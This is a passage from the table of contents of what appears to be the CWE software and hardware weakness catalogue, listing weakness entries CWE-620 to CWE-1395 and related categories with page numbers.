CWE-620: Unverified Password Change.....	1301
CWE-621: Variable Extraction Error.....	1303
CWE-622: Improper Validation of Function Hook Arguments.....	1305
CWE-623: Unsafe ActiveX Control Marked Safe For Scripting.....	1307
CWE-624: Executable Regular Expression Error.....	1308
CWE-625: Permissive Regular Expression.....	1309
CWE-626: Null Byte Interaction Error (Poison Null Byte).....	1312
CWE-627: Dynamic Variable Evaluation.....	1314

CWE-628: Function Call with Incorrectly Specified Arguments.....	1316
CWE-636: Not Failing Securely ('Failing Open').....	1318
CWE-637: Unnecessary Complexity in Protection Mechanism (Not Using 'Economy of Mechanism').....	1320
CWE-638: Not Using Complete Mediation.....	1322
CWE-639: Authorization Bypass Through User-Controlled Key.....	1324
CWE-640: Weak Password Recovery Mechanism for Forgotten Password.....	1326
CWE-641: Improper Restriction of Names for Files and Other Resources.....	1329
CWE-642: External Control of Critical State Data.....	1330
CWE-643: Improper Neutralization of Data within XPath Expressions ('XPath Injection').....	1336
CWE-644: Improper Neutralization of HTTP Headers for Scripting Syntax.....	1338
CWE-645: Overly Restrictive Account Lockout Mechanism.....	1340
CWE-646: Reliance on File Name or Extension of Externally-Supplied File.....	1341
CWE-647: Use of Non-Canonical URL Paths for Authorization Decisions.....	1343
CWE-648: Incorrect Use of Privileged APIs.....	1344
CWE-649: Reliance on Obfuscation or Encryption of Security-Relevant Inputs without Integrity Checking....	1346
CWE-650: Trusting HTTP Permission Methods on the Server Side.....	1348
CWE-651: Exposure of WSDL File Containing Sensitive Information.....	1350
CWE-652: Improper Neutralization of Data within XQuery Expressions ('XQuery Injection').....	1351
CWE-653: Improper Isolation or Compartmentalization.....	1353
CWE-654: Reliance on a Single Factor in a Security Decision.....	1355
CWE-655: Insufficient Psychological Acceptability.....	1357
CWE-656: Reliance on Security Through Obscurity.....	1359
CWE-657: Violation of Secure Design Principles.....	1361
CWE-662: Improper Synchronization.....	1363
CWE-663: Use of a Non-reentrant Function in a Concurrent Context.....	1365
CWE-664: Improper Control of a Resource Through its Lifetime.....	1367
CWE-665: Improper Initialization.....	1368
CWE-666: Operation on Resource in Wrong Phase of Lifetime.....	1374
CWE-667: Improper Locking.....	1375
CWE-668: Exposure of Resource to Wrong Sphere.....	1380
CWE-669: Incorrect Resource Transfer Between Spheres.....	1383
CWE-670: Always-Incorrect Control Flow Implementation.....	1384
CWE-671: Lack of Administrator Control over Security.....	1385
CWE-672: Operation on a Resource after Expiration or Release.....	1386
CWE-673: External Influence of Sphere Definition.....	1390
CWE-674: Uncontrolled Recursion.....	1391
CWE-675: Multiple Operations on Resource in Single-Operation Context.....	1393
CWE-676: Use of Potentially Dangerous Function.....	1394
CWE-680: Integer Overflow to Buffer Overflow.....	1398
CWE-681: Incorrect Conversion between Numeric Types.....	1400
CWE-682: Incorrect Calculation.....	1403
CWE-683: Function Call With Incorrect Order of Arguments.....	1408
CWE-684: Incorrect Provision of Specified Functionality.....	1410
CWE-685: Function Call With Incorrect Number of Arguments.....	1411
CWE-686: Function Call With Incorrect Argument Type.....	1412
CWE-687: Function Call With Incorrectly Specified Argument Value.....	1413
CWE-688: Function Call With Incorrect Variable or Reference as Argument.....	1415
CWE-689: Permission Race Condition During Resource Copy.....	1416
CWE-690: Unchecked Return Value to NULL Pointer Dereference.....	1418
CWE-691: Insufficient Control Flow Management.....	1420
CWE-692: Incomplete Denylist to Cross-Site Scripting.....	1421
CWE-693: Protection Mechanism Failure.....	1422
CWE-694: Use of Multiple Resources with Duplicate Identifier.....	1424
CWE-695: Use of Low-Level Functionality.....	1425
CWE-696: Incorrect Behavior Order.....	1426
CWE-697: Incorrect Comparison.....	1428
CWE-698: Execution After Redirect (EAR).....	1431
CWE-703: Improper Check or Handling of Exceptional Conditions.....	1433
CWE-704: Incorrect Type Conversion or Cast.....	1435
CWE-705: Incorrect Control Flow Scoping.....	1437
CWE-706: Use of Incorrectly-Resolved Name or Reference.....	1439



CWE-707: Improper Neutralization.....	1440
CWE-708: Incorrect Ownership Assignment.....	1442
CWE-710: Improper Adherence to Coding Standards.....	1444
CWE-732: Incorrect Permission Assignment for Critical Resource.....	1445
CWE-733: Compiler Optimization Removal or Modification of Security-critical Code.....	1454
CWE-749: Exposed Dangerous Method or Function.....	1456
CWE-754: Improper Check for Unusual or Exceptional Conditions.....	1460
CWE-755: Improper Handling of Exceptional Conditions.....	1468
CWE-756: Missing Custom Error Page.....	1469
CWE-757: Selection of Less-Secure Algorithm During Negotiation ('Algorithm Downgrade').....	1471
CWE-758: Reliance on Undefined, Unspecified, or Implementation-Defined Behavior.....	1472
CWE-759: Use of a One-Way Hash without a Salt.....	1474
CWE-760: Use of a One-Way Hash with a Predictable Salt.....	1479
CWE-761: Free of Pointer not at Start of Buffer.....	1481
CWE-762: Mismatched Memory Management Routines.....	1485
CWE-763: Release of Invalid Pointer or Reference.....	1488
CWE-764: Multiple Locks of a Critical Resource.....	1493
CWE-765: Multiple Unlocks of a Critical Resource.....	1494
CWE-766: Critical Data Element Declared Public.....	1495
CWE-767: Access to Critical Private Variable via Public Method.....	1498
CWE-768: Incorrect Short Circuit Evaluation.....	1500
CWE-770: Allocation of Resources Without Limits or Throttling.....	1502
CWE-771: Missing Reference to Active Allocated Resource.....	1510
CWE-772: Missing Release of Resource after Effective Lifetime.....	1512
CWE-773: Missing Reference to Active File Descriptor or Handle.....	1517
CWE-774: Allocation of File Descriptors or Handles Without Limits or Throttling.....	1518
CWE-775: Missing Release of File Descriptor or Handle after Effective Lifetime.....	1519
CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion').....	1521
CWE-777: Regular Expression without Anchors.....	1523
CWE-778: Insufficient Logging.....	1525
CWE-779: Logging of Excessive Data.....	1529
CWE-780: Use of RSA Algorithm without OAEP.....	1531
CWE-781: Improper Address Validation in IOCTL with METHOD_NEITHER I/O Control Code.....	1532
CWE-782: Exposed IOCTL with Insufficient Access Control.....	1534
CWE-783: Operator Precedence Logic Error.....	1536
CWE-784: Reliance on Cookies without Validation and Integrity Checking in a Security Decision.....	1539
CWE-785: Use of Path Manipulation Function without Maximum-sized Buffer.....	1542
CWE-786: Access of Memory Location Before Start of Buffer.....	1544
CWE-787: Out-of-bounds Write.....	1547
CWE-788: Access of Memory Location After End of Buffer.....	1555
CWE-789: Memory Allocation with Excessive Size Value.....	1558
CWE-790: Improper Filtering of Special Elements.....	1563
CWE-791: Incomplete Filtering of Special Elements.....	1564
CWE-792: Incomplete Filtering of One or More Instances of Special Elements.....	1565
CWE-793: Only Filtering One Instance of a Special Element.....	1567
CWE-794: Incomplete Filtering of Multiple Instances of Special Elements.....	1568
CWE-795: Only Filtering Special Elements at a Specified Location.....	1569
CWE-796: Only Filtering Special Elements Relative to a Marker.....	1571
CWE-797: Only Filtering Special Elements at an Absolute Position.....	1572
CWE-798: Use of Hard-coded Credentials.....	1573
CWE-799: Improper Control of Interaction Frequency.....	1582
CWE-804: Guessable CAPTCHA.....	1584
CWE-805: Buffer Access with Incorrect Length Value.....	1585
CWE-806: Buffer Access Using Size of Source Buffer.....	1592
CWE-807: Reliance on Untrusted Inputs in a Security Decision.....	1595
CWE-820: Missing Synchronization.....	1601
CWE-821: Incorrect Synchronization.....	1603
CWE-822: Untrusted Pointer Dereference.....	1604
CWE-823: Use of Out-of-range Pointer Offset.....	1606
CWE-824: Access of Uninitialized Pointer.....	1609
CWE-825: Expired Pointer Dereference.....	1612

CWE-826: Premature Release of Resource During Expected Lifetime.....	1614
CWE-827: Improper Control of Document Type Definition.....	1616
CWE-828: Signal Handler with Functionality that is not Asynchronous-Safe.....	1617
CWE-829: Inclusion of Functionality from Untrusted Control Sphere.....	1621
CWE-830: Inclusion of Web Functionality from an Untrusted Source.....	1627
CWE-831: Signal Handler Function Associated with Multiple Signals.....	1629
CWE-832: Unlock of a Resource that is not Locked.....	1631
CWE-833: Deadlock.....	1632
CWE-834: Excessive Iteration.....	1634
CWE-835: Loop with Unreachable Exit Condition ('Infinite Loop').....	1636
CWE-836: Use of Password Hash Instead of Password for Authentication.....	1639
CWE-837: Improper Enforcement of a Single, Unique Action.....	1640
CWE-838: Inappropriate Encoding for Output Context.....	1641
CWE-839: Numeric Range Comparison Without Minimum Check.....	1644
CWE-841: Improper Enforcement of Behavioral Workflow.....	1649
CWE-842: Placement of User into Incorrect Group.....	1653
CWE-843: Access of Resource Using Incompatible Type ('Type Confusion').....	1654
CWE-862: Missing Authorization.....	1657
CWE-863: Incorrect Authorization.....	1664
CWE-908: Use of Uninitialized Resource.....	1669
CWE-909: Missing Initialization of Resource.....	1673
CWE-910: Use of Expired File Descriptor.....	1677
CWE-911: Improper Update of Reference Count.....	1678
CWE-912: Hidden Functionality.....	1680
CWE-913: Improper Control of Dynamically-Managed Code Resources.....	1681
CWE-914: Improper Control of Dynamically-Identified Variables.....	1682
CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes.....	1684
CWE-916: Use of Password Hash With Insufficient Computational Effort.....	1688
CWE-917: Improper Neutralization of Special Elements used in an Expression Language Statement ('Expression Language Injection').....	1692
CWE-918: Server-Side Request Forgery (SSRF).....	1694
CWE-920: Improper Restriction of Power Consumption.....	1696
CWE-921: Storage of Sensitive Data in a Mechanism without Access Control.....	1697
CWE-922: Insecure Storage of Sensitive Information.....	1698
CWE-923: Improper Restriction of Communication Channel to Intended Endpoints.....	1700
CWE-924: Improper Enforcement of Message Integrity During Transmission in a Communication Channel.....	1701
CWE-925: Improper Verification of Intent by Broadcast Receiver.....	1702
CWE-926: Improper Export of Android Application Components.....	1704
CWE-927: Use of Implicit Intent for Sensitive Communication.....	1706
CWE-939: Improper Authorization in Handler for Custom URL Scheme.....	1709
CWE-940: Improper Verification of Source of a Communication Channel.....	1712
CWE-941: Incorrectly Specified Destination in a Communication Channel.....	1715
CWE-942: Permissive Cross-domain Policy with Untrusted Domains.....	1717
CWE-943: Improper Neutralization of Special Elements in Data Query Logic.....	1720
CWE-1004: Sensitive Cookie Without 'HttpOnly' Flag.....	1721
CWE-1007: Insufficient Visual Distinction of Homoglyphs Presented to User.....	1724
CWE-1021: Improper Restriction of Rendered UI Layers or Frames.....	1727
CWE-1022: Use of Web Link to Untrusted Target with window.opener Access.....	1729
CWE-1023: Incomplete Comparison with Missing Factors.....	1731
CWE-1024: Comparison of Incompatible Types.....	1733
CWE-1025: Comparison Using Wrong Factors.....	1734
CWE-1037: Processor Optimization Removal or Modification of Security-critical Code.....	1736
CWE-1038: Insecure Automated Optimizations.....	1737
CWE-1039: Automated Recognition Mechanism with Inadequate Detection or Handling of Adversarial Input Perturbations.....	1738
CWE-1041: Use of Redundant Code.....	1740
CWE-1042: Static Member Data Element outside of a Singleton Class Element.....	1742
CWE-1043: Data Element Aggregating an Excessively Large Number of Non-Primitive Elements.....	1743
CWE-1044: Architecture with Number of Horizontal Layers Outside of Expected Range.....	1744
CWE-1045: Parent Class with a Virtual Destructor and a Child Class without a Virtual Destructor.....	1745
CWE-1046: Creation of Immutable Text Using String Concatenation.....	1746

CWE-1047: Modules with Circular Dependencies.....	1747
CWE-1048: Invokable Control Element with Large Number of Outward Calls.....	1748
CWE-1049: Excessive Data Query Operations in a Large Data Table.....	1749
CWE-1050: Excessive Platform Resource Consumption within a Loop.....	1750
CWE-1051: Initialization with Hard-Coded Network Resource Configuration Data.....	1751
CWE-1052: Excessive Use of Hard-Coded Literals in Initialization.....	1752
CWE-1053: Missing Documentation for Design.....	1753
CWE-1054: Invocation of a Control Element at an Unnecessarily Deep Horizontal Layer.....	1754
CWE-1055: Multiple Inheritance from Concrete Classes.....	1755
CWE-1056: Invokable Control Element with Variadic Parameters.....	1756
CWE-1057: Data Access Operations Outside of Expected Data Manager Component.....	1757
CWE-1058: Invokable Control Element in Multi-Thread Context with non-Final Static Storable or Member Element.....	1758
CWE-1059: Insufficient Technical Documentation.....	1759
CWE-1060: Excessive Number of Inefficient Server-Side Data Accesses.....	1761
CWE-1061: Insufficient Encapsulation.....	1762
CWE-1062: Parent Class with References to Child Class.....	1763
CWE-1063: Creation of Class Instance within a Static Code Block.....	1764
CWE-1064: Invokable Control Element with Signature Containing an Excessive Number of Parameters.....	1765
CWE-1065: Runtime Resource Management Control Element in a Component Built to Run on Application Servers.....	1766
CWE-1066: Missing Serialization Control Element.....	1767
CWE-1067: Excessive Execution of Sequential Searches of Data Resource.....	1768
CWE-1068: Inconsistency Between Implementation and Documented Design.....	1769
CWE-1069: Empty Exception Block.....	1770
CWE-1070: Serializable Data Element Containing non-Serializable Item Elements.....	1772
CWE-1071: Empty Code Block.....	1773
CWE-1072: Data Resource Access without Use of Connection Pooling.....	1773
CWE-1073: Non-SQL Invokable Control Element with Excessive Number of Data Resource Accesses.....	1774
CWE-1074: Class with Excessively Deep Inheritance.....	1776
CWE-1075: Unconditional Control Flow Transfer outside of Switch Block.....	1777
CWE-1076: Insufficient Adherence to Expected Conventions.....	1778
CWE-1077: Floating Point Comparison with Incorrect Operator.....	1778
CWE-1078: Inappropriate Source Code Style or Formatting.....	1779
CWE-1079: Parent Class without Virtual Destructor Method.....	1780
CWE-1080: Source Code File with Excessive Number of Lines of Code.....	1781
CWE-1082: Class Instance Self Destruction Control Element.....	1782
CWE-1083: Data Access from Outside Expected Data Manager Component.....	1783
CWE-1084: Invokable Control Element with Excessive File or Data Access Operations.....	1784
CWE-1085: Invokable Control Element with Excessive Volume of Commented-out Code.....	1785
CWE-1086: Class with Excessive Number of Child Classes.....	1786
CWE-1087: Class with Virtual Method without a Virtual Destructor.....	1787
CWE-1088: Synchronous Access of Remote Resource without Timeout.....	1788
CWE-1089: Large Data Table with Excessive Number of Indices.....	1789
CWE-1090: Method Containing Access of a Member Element from Another Class.....	1791
CWE-1091: Use of Object without Invoking Destructor Method.....	1792
CWE-1092: Use of Same Invokable Control Element in Multiple Architectural Layers.....	1793
CWE-1093: Excessively Complex Data Representation.....	1793
CWE-1094: Excessive Index Range Scan for a Data Resource.....	1794
CWE-1095: Loop Condition Value Update within the Loop.....	1795
CWE-1096: Singleton Class Instance Creation without Proper Locking or Synchronization.....	1796
CWE-1097: Persistent Storable Data Element without Associated Comparison Control Element.....	1797
CWE-1098: Data Element containing Pointer Item without Proper Copy Control Element.....	1798
CWE-1099: Inconsistent Naming Conventions for Identifiers.....	1799
CWE-1100: Insufficient Isolation of System-Dependent Functions.....	1800
CWE-1101: Reliance on Runtime Component in Generated Code.....	1801
CWE-1102: Reliance on Machine-Dependent Data Representation.....	1802
CWE-1103: Use of Platform-Dependent Third Party Components.....	1803
CWE-1104: Use of Unmaintained Third Party Components.....	1803
CWE-1105: Insufficient Encapsulation of Machine-Dependent Functionality.....	1804
CWE-1106: Insufficient Use of Symbolic Constants.....	1805

CWE-1107: Insufficient Isolation of Symbolic Constant Definitions.....	1806
CWE-1108: Excessive Reliance on Global Variables.....	1807
CWE-1109: Use of Same Variable for Multiple Purposes.....	1808
CWE-1110: Incomplete Design Documentation.....	1808
CWE-1111: Incomplete I/O Documentation.....	1809
CWE-1112: Incomplete Documentation of Program Execution.....	1810
CWE-1113: Inappropriate Comment Style.....	1811
CWE-1114: Inappropriate Whitespace Style.....	1811
CWE-1115: Source Code Element without Standard Prologue.....	1812
CWE-1116: Inaccurate Comments.....	1813
CWE-1117: Callable with Insufficient Behavioral Summary.....	1814
CWE-1118: Insufficient Documentation of Error Handling Techniques.....	1815
CWE-1119: Excessive Use of Unconditional Branching.....	1816
CWE-1120: Excessive Code Complexity.....	1817
CWE-1121: Excessive McCabe Cyclomatic Complexity.....	1818
CWE-1122: Excessive Halstead Complexity.....	1819
CWE-1123: Excessive Use of Self-Modifying Code.....	1820
CWE-1124: Excessively Deep Nesting.....	1820
CWE-1125: Excessive Attack Surface.....	1821
CWE-1126: Declaration of Variable with Unnecessarily Wide Scope.....	1822
CWE-1127: Compilation with Insufficient Warnings or Errors.....	1823
CWE-1164: Irrelevant Code.....	1823
CWE-1173: Improper Use of Validation Framework.....	1824
CWE-1174: ASP.NET Misconfiguration: Improper Model Validation.....	1825
CWE-1176: Inefficient CPU Computation.....	1826
CWE-1177: Use of Prohibited Code.....	1827
CWE-1188: Insecure Default Initialization of Resource.....	1828
CWE-1189: Improper Isolation of Shared Resources on System-on-a-Chip (SoC).....	1829
CWE-1190: DMA Device Enabled Too Early in Boot Phase.....	1831
CWE-1191: On-Chip Debug and Test Interface With Improper Access Control.....	1833
CWE-1192: System-on-Chip (SoC) Using Components without Unique, Immutable Identifiers.....	1835
CWE-1193: Power-On of Untrusted Execution Core Before Enabling Fabric Access Control.....	1837
CWE-1204: Generation of Weak Initialization Vector (IV).....	1838
CWE-1209: Failure to Disable Reserved Bits.....	1841
CWE-1220: Insufficient Granularity of Access Control.....	1843
CWE-1221: Incorrect Register Defaults or Module Parameters.....	1845
CWE-1222: Insufficient Granularity of Address Regions Protected by Register Locks.....	1848
CWE-1223: Race Condition for Write-Once Attributes.....	1849
CWE-1224: Improper Restriction of Write-Once Bit Fields.....	1851
CWE-1229: Creation of Emergent Resource.....	1854
CWE-1230: Exposure of Sensitive Information Through Metadata.....	1855
CWE-1231: Improper Prevention of Lock Bit Modification.....	1855
CWE-1232: Improper Lock Behavior After Power State Transition.....	1857
CWE-1233: Security-Sensitive Hardware Controls with Missing Lock Bit Protection.....	1859
CWE-1234: Hardware Internal or Debug Modes Allow Override of Locks.....	1861
CWE-1235: Incorrect Use of Autoboxing and Unboxing for Performance Critical Operations.....	1863
CWE-1236: Improper Neutralization of Formula Elements in a CSV File.....	1865
CWE-1239: Improper Zeroization of Hardware Register.....	1868
CWE-1240: Use of a Cryptographic Primitive with a Risky Implementation.....	1869
CWE-1241: Use of Predictable Algorithm in Random Number Generator.....	1875
CWE-1242: Inclusion of Undocumented Features or Chicken Bits.....	1876
CWE-1243: Sensitive Non-Volatile Information Not Protected During Debug.....	1878
CWE-1244: Internal Asset Exposed to Unsafe Debug Access Level or State.....	1879
CWE-1245: Improper Finite State Machines (FSMs) in Hardware Logic.....	1882
CWE-1246: Improper Write Handling in Limited-write Non-Volatile Memories.....	1884
CWE-1247: Improper Protection Against Voltage and Clock Glitches.....	1886
CWE-1248: Semiconductor Defects in Hardware Logic with Security-Sensitive Implications.....	1889
CWE-1249: Application-Level Admin Tool with Inconsistent View of Underlying Operating System.....	1891
CWE-1250: Improper Preservation of Consistency Between Independent Representations of Shared State.....	1893
CWE-1251: Mirrored Regions with Different Values.....	1894



CWE-1252: CPU Hardware Not Configured to Support Exclusivity of Write and Execute Operations.....	1897
CWE-1253: Incorrect Selection of Fuse Values.....	1898
CWE-1254: Incorrect Comparison Logic Granularity.....	1900
CWE-1255: Comparison Logic is Vulnerable to Power Side-Channel Attacks.....	1902
CWE-1256: Improper Restriction of Software Interfaces to Hardware Features.....	1906
CWE-1257: Improper Access Control Applied to Mirrored or Aliased Memory Regions.....	1909
CWE-1258: Exposure of Sensitive System Information Due to Uncleared Debug Information.....	1912
CWE-1259: Improper Restriction of Security Token Assignment.....	1913
CWE-1260: Improper Handling of Overlap Between Protected Memory Ranges.....	1915
CWE-1261: Improper Handling of Single Event Upsets.....	1918
CWE-1262: Improper Access Control for Register Interface.....	1920
CWE-1263: Improper Physical Access Control.....	1923
CWE-1264: Hardware Logic with Insecure De-Synchronization between Control and Data Channels.....	1924
CWE-1265: Unintended Reentrant Invocation of Non-reentrant Code Via Nested Calls.....	1926
CWE-1266: Improper Scrubbing of Sensitive Data from Decommissioned Device.....	1930
CWE-1267: Policy Uses Obsolete Encoding.....	1931
CWE-1268: Policy Privileges are not Assigned Consistently Between Control and Data Agents.....	1933
CWE-1269: Product Released in Non-Release Configuration.....	1936
CWE-1270: Generation of Incorrect Security Tokens.....	1938
CWE-1271: Uninitialized Value on Reset for Registers Holding Security Settings.....	1940
CWE-1272: Sensitive Information Uncleared Before Debug/Power State Transition.....	1942
CWE-1273: Device Unlock Credential Sharing.....	1944
CWE-1274: Improper Access Control for Volatile Memory Containing Boot Code.....	1946
CWE-1275: Sensitive Cookie with Improper SameSite Attribute.....	1948
CWE-1276: Hardware Child Block Incorrectly Connected to Parent System.....	1950
CWE-1277: Firmware Not Updateable.....	1952
CWE-1278: Missing Protection Against Hardware Reverse Engineering Using Integrated Circuit (IC) Imaging Techniques.....	1955
CWE-1279: Cryptographic Operations are run Before Supporting Units are Ready.....	1956
CWE-1280: Access Control Check Implemented After Asset is Accessed.....	1958
CWE-1281: Sequence of Processor Instructions Leads to Unexpected Behavior.....	1960
CWE-1282: Assumed-Immutable Data is Stored in Writable Memory.....	1962
CWE-1283: Mutable Attestation or Measurement Reporting Data.....	1963
CWE-1284: Improper Validation of Specified Quantity in Input.....	1965
CWE-1285: Improper Validation of Specified Index, Position, or Offset in Input.....	1967
CWE-1286: Improper Validation of Syntactic Correctness of Input.....	1970
CWE-1287: Improper Validation of Specified Type of Input.....	1972
CWE-1288: Improper Validation of Consistency within Input.....	1973
CWE-1289: Improper Validation of Unsafe Equivalence in Input.....	1974
CWE-1290: Incorrect Decoding of Security Identifiers .....	1976
CWE-1291: Public Key Re-Use for Signing both Debug and Production Code.....	1978
CWE-1292: Incorrect Conversion of Security Identifiers.....	1980
CWE-1293: Missing Source Correlation of Multiple Independent Data.....	1982
CWE-1294: Insecure Security Identifier Mechanism.....	1983
CWE-1295: Debug Messages Revealing Unnecessary Information.....	1985
CWE-1296: Incorrect Chaining or Granularity of Debug Components.....	1986
CWE-1297: Unprotected Confidential Information on Device is Accessible by OSAT Vendors.....	1989
CWE-1298: Hardware Logic Contains Race Conditions.....	1991
CWE-1299: Missing Protection Mechanism for Alternate Hardware Interface.....	1993
CWE-1300: Improper Protection of Physical Side Channels.....	1996
CWE-1301: Insufficient or Incomplete Data Removal within Hardware Component.....	2000
CWE-1302: Missing Security Identifier.....	2001
CWE-1303: Non-Transparent Sharing of Microarchitectural Resources.....	2003
CWE-1304: Improperly Preserved Integrity of Hardware Configuration State During a Power Save/Restore Operation.....	2005
CWE-1310: Missing Ability to Patch ROM Code.....	2008
CWE-1311: Improper Translation of Security Attributes by Fabric Bridge.....	2009
CWE-1312: Missing Protection for Mirrored Regions in On-Chip Fabric Firewall.....	2011
CWE-1313: Hardware Allows Activation of Test or Debug Logic at Runtime.....	2013
CWE-1314: Missing Write Protection for Parametric Data Values.....	2015
CWE-1315: Improper Setting of Bus Controlling Capability in Fabric End-point.....	2017

CWE-1316: Fabric-Address Map Allows Programming of Unwarranted Overlaps of Protected and Unprotected Ranges.....	2019
CWE-1317: Improper Access Control in Fabric Bridge.....	2021
CWE-1318: Missing Support for Security Features in On-chip Fabrics or Buses.....	2023
CWE-1319: Improper Protection against Electromagnetic Fault Injection (EM-FI).....	2026
CWE-1320: Improper Protection for Outbound Error Messages and Alert Signals.....	2028
CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution').....	2030
CWE-1322: Use of Blocking Code in Single-threaded, Non-blocking Context.....	2033
CWE-1323: Improper Management of Sensitive Trace Data.....	2034
CWE-1325: Improperly Controlled Sequential Memory Allocation.....	2035
CWE-1326: Missing Immutable Root of Trust in Hardware.....	2037
CWE-1327: Binding to an Unrestricted IP Address.....	2039
CWE-1328: Security Version Number Mutable to Older Versions.....	2041
CWE-1329: Reliance on Component That is Not Updateable.....	2043
CWE-1330: Remanent Data Readable after Memory Erase.....	2045
CWE-1331: Improper Isolation of Shared Resources in Network On Chip (NoC).....	2048
CWE-1332: Improper Handling of Faults that Lead to Instruction Skips.....	2050
CWE-1333: Inefficient Regular Expression Complexity.....	2053
CWE-1334: Unauthorized Error Injection Can Degrade Hardware Redundancy.....	2056
CWE-1335: Incorrect Bitwise Shift of Integer.....	2058
CWE-1336: Improper Neutralization of Special Elements Used in a Template Engine.....	2060
CWE-1338: Improper Protections Against Hardware Overheating.....	2062
CWE-1339: Insufficient Precision or Accuracy of a Real Number.....	2064
CWE-1341: Multiple Releases of Same Resource or Handle.....	2068
CWE-1342: Information Exposure through Microarchitectural State after Transient Execution.....	2071
CWE-1351: Improper Handling of Hardware Behavior in Exceptionally Cold Environments.....	2074
CWE-1357: Reliance on Insufficiently Trustworthy Component.....	2076
CWE-1384: Improper Handling of Physical or Environmental Conditions.....	2078
CWE-1385: Missing Origin Validation in WebSockets.....	2080
CWE-1386: Insecure Operation on Windows Junction / Mount Point.....	2082
CWE-1389: Incorrect Parsing of Numbers with Different Radices.....	2084
CWE-1390: Weak Authentication.....	2087
CWE-1391: Use of Weak Credentials.....	2089
CWE-1392: Use of Default Credentials.....	2091
CWE-1393: Use of Default Password.....	2093
CWE-1394: Use of Default Cryptographic Key.....	2095
CWE-1395: Dependency on Vulnerable Third-Party Component.....	2096

## CWE Categories

Category-2: 7PK - Environment.....	2099
Category-16: Configuration.....	2100
Category-19: Data Processing Errors.....	2101
Category-133: String Errors.....	2101
Category-136: Type Errors.....	2102
Category-137: Data Neutralization Issues.....	2102
Category-189: Numeric Errors.....	2103
Category-199: Information Management Errors.....	2104
Category-227: 7PK - API Abuse.....	2105
Category-251: Often Misused: String Management.....	2106
Category-254: 7PK - Security Features.....	2106
Category-255: Credentials Management Errors.....	2107
Category-264: Permissions, Privileges, and Access Controls.....	2108
Category-265: Privilege Issues.....	2109
Category-275: Permission Issues.....	2110
Category-310: Cryptographic Issues.....	2111
Category-320: Key Management Errors.....	2112
Category-355: User Interface Security Issues.....	2112
Category-361: 7PK - Time and State.....	2113
Category-371: State Issues.....	2114
Category-387: Signal Errors.....	2114
Category-388: 7PK - Errors.....	2114

Category-389: Error Conditions, Return Values, Status Codes.....	2115
Category-398: 7PK - Code Quality.....	2116
Category-399: Resource Management Errors.....	2117
Category-411: Resource Locking Problems.....	2118
Category-417: Communication Channel Errors.....	2119
Category-429: Handler Errors.....	2119
Category-438: Behavioral Problems.....	2120
Category-452: Initialization and Cleanup Errors.....	2120
Category-465: Pointer Issues.....	2121
Category-485: 7PK - Encapsulation.....	2121
Category-557: Concurrency Issues.....	2122
Category-569: Expression Issues.....	2123
Category-712: OWASP Top Ten 2007 Category A1 - Cross Site Scripting (XSS).....	2123
Category-713: OWASP Top Ten 2007 Category A2 - Injection Flaws.....	2124
Category-714: OWASP Top Ten 2007 Category A3 - Malicious File Execution.....	2124
Category-715: OWASP Top Ten 2007 Category A4 - Insecure Direct Object Reference.....	2124
Category-716: OWASP Top Ten 2007 Category A5 - Cross Site Request Forgery (CSRF).....	2125
Category-717: OWASP Top Ten 2007 Category A6 - Information Leakage and Improper Error Handling.....	2125
Category-718: OWASP Top Ten 2007 Category A7 - Broken Authentication and Session Management.....	2126
Category-719: OWASP Top Ten 2007 Category A8 - Insecure Cryptographic Storage.....	2126
Category-720: OWASP Top Ten 2007 Category A9 - Insecure Communications.....	2126
Category-721: OWASP Top Ten 2007 Category A10 - Failure to Restrict URL Access.....	2127
Category-722: OWASP Top Ten 2004 Category A1 - Unvalidated Input.....	2127
Category-723: OWASP Top Ten 2004 Category A2 - Broken Access Control.....	2128
Category-724: OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management.....	2129
Category-725: OWASP Top Ten 2004 Category A4 - Cross-Site Scripting (XSS) Flaws.....	2130
Category-726: OWASP Top Ten 2004 Category A5 - Buffer Overflows.....	2130
Category-727: OWASP Top Ten 2004 Category A6 - Injection Flaws.....	2130
Category-728: OWASP Top Ten 2004 Category A7 - Improper Error Handling.....	2131
Category-729: OWASP Top Ten 2004 Category A8 - Insecure Storage.....	2131
Category-730: OWASP Top Ten 2004 Category A9 - Denial of Service.....	2132
Category-731: OWASP Top Ten 2004 Category A10 - Insecure Configuration Management.....	2133
Category-735: CERT C Secure Coding Standard (2008) Chapter 2 - Preprocessor (PRE).....	2134
Category-736: CERT C Secure Coding Standard (2008) Chapter 3 - Declarations and Initialization (DCL).....	2134
Category-737: CERT C Secure Coding Standard (2008) Chapter 4 - Expressions (EXP).....	2135
Category-738: CERT C Secure Coding Standard (2008) Chapter 5 - Integers (INT).....	2135
Category-739: CERT C Secure Coding Standard (2008) Chapter 6 - Floating Point (FLP).....	2136
Category-740: CERT C Secure Coding Standard (2008) Chapter 7 - Arrays (ARR).....	2137
Category-741: CERT C Secure Coding Standard (2008) Chapter 8 - Characters and Strings (STR).....	2138
Category-742: CERT C Secure Coding Standard (2008) Chapter 9 - Memory Management (MEM).....	2139
Category-743: CERT C Secure Coding Standard (2008) Chapter 10 - Input Output (FIO).....	2140
Category-744: CERT C Secure Coding Standard (2008) Chapter 11 - Environment (ENV).....	2142
Category-745: CERT C Secure Coding Standard (2008) Chapter 12 - Signals (SIG).....	2142
Category-746: CERT C Secure Coding Standard (2008) Chapter 13 - Error Handling (ERR).....	2143
Category-747: CERT C Secure Coding Standard (2008) Chapter 14 - Miscellaneous (MSC).....	2144
Category-748: CERT C Secure Coding Standard (2008) Appendix - POSIX (POS).....	2144
Category-751: 2009 Top 25 - Insecure Interaction Between Components.....	2145
Category-752: 2009 Top 25 - Risky Resource Management.....	2146
Category-753: 2009 Top 25 - Porous Defenses.....	2146
Category-801: 2010 Top 25 - Insecure Interaction Between Components.....	2147
Category-802: 2010 Top 25 - Risky Resource Management.....	2148
Category-803: 2010 Top 25 - Porous Defenses.....	2148
Category-808: 2010 Top 25 - Weaknesses On the Cusp.....	2149
Category-810: OWASP Top Ten 2010 Category A1 - Injection.....	2149
Category-811: OWASP Top Ten 2010 Category A2 - Cross-Site Scripting (XSS).....	2150
Category-812: OWASP Top Ten 2010 Category A3 - Broken Authentication and Session Management.....	2150
Category-813: OWASP Top Ten 2010 Category A4 - Insecure Direct Object References.....	2151
Category-814: OWASP Top Ten 2010 Category A5 - Cross-Site Request Forgery(CSRF).....	2151
Category-815: OWASP Top Ten 2010 Category A6 - Security Misconfiguration.....	2151
